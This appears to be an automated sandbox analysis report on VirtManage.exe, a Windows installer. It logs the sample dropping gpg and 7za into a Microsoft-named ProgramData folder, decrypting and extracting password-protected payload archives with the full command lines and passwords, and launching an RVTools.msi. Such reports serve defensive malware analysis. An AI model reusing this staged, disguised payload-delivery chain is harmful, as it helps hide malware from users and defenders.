Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_00406C101_2_00406C10
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_0042DD101_2_0042DD10
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_00447EC01_2_00447EC0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_0040DF281_2_0040DF28
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_630823601_2_63082360
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_630820031_2_63082003
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_630947001_2_63094700
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_630897901_2_63089790
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_630824301_2_63082430
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_630959C01_2_630959C0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004BF8C03_2_004BF8C0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_0042D0703_2_0042D070
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_0047A1503_2_0047A150
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004191693_2_00419169
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_0044D1803_2_0044D180
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004A53003_2_004A5300
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004124403_2_00412440
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004E04003_2_004E0400
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004245703_2_00424570
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_0040D5113_2_0040D511
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004745E03_2_004745E0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_0048E5E03_2_0048E5E0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004986003_2_00498600
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004BB6F03_2_004BB6F0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004387E03_2_004387E0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004CC8C03_2_004CC8C0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004779403_2_00477940
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_00433AC03_2_00433AC0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_0040CAD03_2_0040CAD0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004D2AE03_2_004D2AE0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_00434B603_2_00434B60
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004A2BF03_2_004A2BF0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_00406C103_2_00406C10
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_0042DD103_2_0042DD10
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_00447EC03_2_00447EC0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_0040DF283_2_0040DF28
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_666707303_2_66670730
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_6663E31A3_2_6663E31A
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_66610CA43_2_66610CA4
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_6660686A3_2_6660686A
Source: Joe Sandbox ViewDropped File: C:\ProgramData\Microsoft\MicrosoftAPI\7za.dll BBA4FD66795A5D5F7B32994F445FED03279750D7CF4973B589A01D9DB42B3B31
Source: Joe Sandbox ViewDropped File: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exe FBB3DADCC29BCBC5460484D858C5F33F99E5317F5F6CD8D9C83F4DD8C39B3E30
Source: C:\Users\user\Desktop\VirtManage.exeProcess token adjusted: SecurityJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: String function: 004DF490 appears 40 times
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: String function: 00434B30 appears 34 times
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: String function: 00426BB0 appears 44 times
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: String function: 004DEFB0 appears 82 times
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: String function: 665896E6 appears 67 times
Source: zlib1.dll.0.drStatic PE information: Number of sections : 11 > 10
Source: libgcrypt-20.dll.0.drStatic PE information: Number of sections : 11 > 10
Source: libnpth-0.dll.0.drStatic PE information: Number of sections : 11 > 10
Source: aclui-2.dll.16.drStatic PE information: Number of sections : 20 > 10
Source: libgpg-error-0.dll.0.drStatic PE information: Number of sections : 11 > 10
Source: libassuan-9.dll.0.drStatic PE information: Number of sections : 11 > 10
Source: aclui.dll.16.drStatic PE information: Number of sections : 20 > 10
Source: aclui.dll.0.drStatic PE information: Number of sections : 20 > 10
Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamezlib1.dll* vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamegpg-agent.exeT vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamegpg.exeT vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibassuan.dll" vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibgcrypt.dll" vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibgpg-error.dll" vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibnpth.dll" vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamezlib1.dll* vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.1136946395.000000000069D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameOLEVIEW.EXEj% vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000002.2783494153.000000000040A000.00000004.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamensis7z.dll, vs VirtManage.exe
Source: VirtManage.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exe C:\ProgramData\Microsoft\MicrosoftAPI\7za x C:\ProgramData\Microsoft\MicrosoftAPI\tools.7z -pJerx#sdqWE45 -oC:\ProgramData\Microsoft\MicrosoftAPI
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exe C:\ProgramData\Microsoft\MicrosoftAPI\7za x C:\ProgramData\Microsoft\MicrosoftAPI\UpdateFull.7z -pTG98HJerxsdqWE45 -oC:\ProgramData\Microsoft\MicrosoftAPI
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exe C:\ProgramData\Microsoft\MicrosoftAPI\7za x C:\ProgramData\Microsoft\MicrosoftAPI\tools.7z -pJerx#sdqWE45 -oC:\ProgramData\Microsoft\MicrosoftAPIJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exe C:\ProgramData\Microsoft\MicrosoftAPI\7za x C:\ProgramData\Microsoft\MicrosoftAPI\UpdateFull.7z -pTG98HJerxsdqWE45 -oC:\ProgramData\Microsoft\MicrosoftAPIJump to behavior
Source: classification engineClassification label: mal46.expl.evad.winEXE@56/76@2/2
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004AE4A0 FormatMessageA,strlen,GetLastError,1_2_004AE4A0
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403552
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00404B74 GetDiskFreeSpaceW,MulDiv,0_2_00404B74
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00402200 FreeLibrary,CoCreateInstance,0_2_00402200
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeFile created: C:\Users\user\AppData\Roaming\gnupgJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7144:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6536:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5852:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3700:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4172:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6880:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6796:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6380:120:WilError_03
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\Users\user\AppData\Local\Temp\nsq8BA6.tmpJump to behavior
Source: VirtManage.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\VirtManage.exeFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: create table if not exists encryptions (binding INTEGER NOT NULL, time INTEGER);create index if not exists encryptions_binding on encryptions (binding);
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: create table version (version INTEGER);
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: insert into version values (1);
Source: gpg.exe, gpg.exe, 00000003.00000002.987809163.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 00000005.00000002.992323271.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 0000000A.00000002.1054455468.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 0000000E.00000002.1079031945.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, libsqlite3-0.dll.0.drBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: select count(*) from sqlite_master where type='table';
Source: gpg.exe, gpg.exe, 00000003.00000002.987809163.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 00000005.00000002.992323271.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 0000000A.00000002.1054455468.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 0000000E.00000002.1079031945.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, libsqlite3-0.dll.0.drBinary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: select ((select count(*) from ultimately_trusted_keys where (keyid in (%s))) == %d) and ((select count(*) from ultimately_trusted_keys where keyid not in (%s)) == 0);
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: select user_id, policy from bindings where fingerprint = ?;
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: select fingerprint || case sum(conflict NOTNULL) when 0 then '' else '!' end from bindings where email = ? group by fingerprint order by fingerprint = ? asc, fingerprint desc;
Source: gpg.exe, gpg.exe, 00000003.00000002.987809163.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 00000005.00000002.992323271.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 0000000A.00000002.1054455468.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 0000000E.00000002.1079031945.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, libsqlite3-0.dll.0.drBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: gpg.exe, gpg.exe, 00000003.00000002.987809163.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 00000005.00000002.992323271.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 0000000A.00000002.1054455468.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 0000000E.00000002.1079031945.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, libsqlite3-0.dll.0.drBinary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: insert into ultimately_trusted_keys values ('%s');
Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.982753521.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 00000003.00000002.987809163.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 00000005.00000002.992323271.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 0000000A.00000002.1054455468.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 0000000E.00000002.1079031945.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, libsqlite3-0.dll.0.drBinary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: create table if not exists ultimately_trusted_keys (keyid);
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: create table version (version INTEGER);error initializing TOFU database: %s
Source: gpg.exe, gpg.exe, 00000003.00000002.987809163.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 00000005.00000002.992323271.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 0000000A.00000002.1054455468.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 0000000E.00000002.1079031945.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, libsqlite3-0.dll.0.drBinary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: select version from version;
Source: gpg.exe, gpg.exe, 00000003.00000002.987809163.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 00000005.00000002.992323271.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 0000000A.00000002.1054455468.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, gpg.exe, 0000000E.00000002.1079031945.0000000066676000.00000002.00000001.01000000.0000000C.sdmp, libsqlite3-0.dll.0.drBinary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: create table signatures (binding INTEGER NOT NULL, sig_digest TEXT, origin TEXT, sig_time INTEGER, time INTEGER, primary key (binding, sig_digest, origin));
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: update bindings set effective_policy = %d, conflict = %Q where email = %Q and fingerprint = %Q and effective_policy != %d;
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: select count(*) from sqlite_master where type='table';error reading TOFU database: %s
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: update bindings set effective_policy = ? where fingerprint = ?;
Source: VirtManage.exeVirustotal: Detection: 16%
Source: gpg.exeString found in binary or memory: full-help
Source: gpg.exeString found in binary or memory: i386/mpih-add1.S:i386/mpih-sub1.S:i386/mpih-mul1.S:i386/mpih-mul2.S:i386/mpih-mul3.S:i386/mpih-lshift.S:i386/mpih-rshift.S
Source: gpg.exeString found in binary or memory: full-help
Source: C:\Users\user\Desktop\VirtManage.exeFile read: C:\Users\user\Desktop\VirtManage.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\VirtManage.exe "C:\Users\user\Desktop\VirtManage.exe"
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\tools.7z --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\5FILE.1A.gpg
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\7za.dll --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\1FILE.1A.gpg
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\7za.exe --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\2FILE.1A.gpg
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exe C:\ProgramData\Microsoft\MicrosoftAPI\7za x C:\ProgramData\Microsoft\MicrosoftAPI\tools.7z -pJerx#sdqWE45 -oC:\ProgramData\Microsoft\MicrosoftAPI
Source: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\msiexec.exe msiexec.exe /i "C:\ProgramData\Microsoft\MicrosoftAPI\RVTools.msi"
